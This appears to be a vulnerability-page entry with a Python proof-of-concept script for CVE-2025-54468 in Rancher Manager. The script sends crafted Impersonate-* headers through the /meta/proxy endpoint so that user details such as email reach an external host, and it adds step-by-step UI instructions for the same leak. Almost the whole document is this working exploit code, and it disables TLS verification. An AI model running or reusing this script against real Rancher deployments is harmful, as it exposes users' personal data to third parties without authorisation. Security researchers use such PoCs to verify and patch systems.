Rancher Manager Impersonate-Extra-* 请求头信息泄露漏洞

# CVE-2025-54468 PoC - Rancher Manager Impersonate-Extra-* Header Leakage # This PoC demonstrates how Impersonate-Extra-* headers are forwarded # to external entities via the /meta/proxy endpoint import requests # Target Rancher Manager server RANCHER_URL = "https://rancher.example.com" # Step 1: Authenticate with Rancher (if required) # Note: This vulnerability can be triggered without authentication (PR:N) # but may require user interaction (UI:R) through the Rancher UI # Step 2: Craft a request to the /meta/proxy endpoint # targeting an external entity (e.g., amazonaws.com metadata service) target_url = "https://rancher.example.com/meta/proxy/example.com" # Step 3: Send request with Impersonate-Extra-* headers # These headers are typically injected by Rancher when impersonation is active headers = { "Impersonate-User": "user-example", "Impersonate-Group": ["system:authenticated"], "Impersonate-Extra-Email": "[email protected]", "Impersonate-Extra-Role": "admin", "Impersonate-Extra-Org": "example-org" } # Step 4: Send the request - the headers will be forwarded to the external entity response = requests.get(target_url, headers=headers, verify=False) print(f"Status Code: {response.status_code}") print(f"Response: {response.text[:500]}") # Step 5: Observe that the Impersonate-Extra-* headers were # forwarded to the external target, leaking user PII data # The external entity (e.g., AWS) would receive headers like: # Impersonate-Extra-Email: [email protected] # This exposes the user's email address to the third party # Alternative exploitation via Rancher UI: # 1. Login to Rancher Manager dashboard # 2. Navigate to a cluster # 3. Use the "Launch kubectl" or proxy functionality # 4. Make a request to an external URL through /meta/proxy # 5. The Impersonate-Extra-* headers are automatically included # 6. External service receives sensitive user information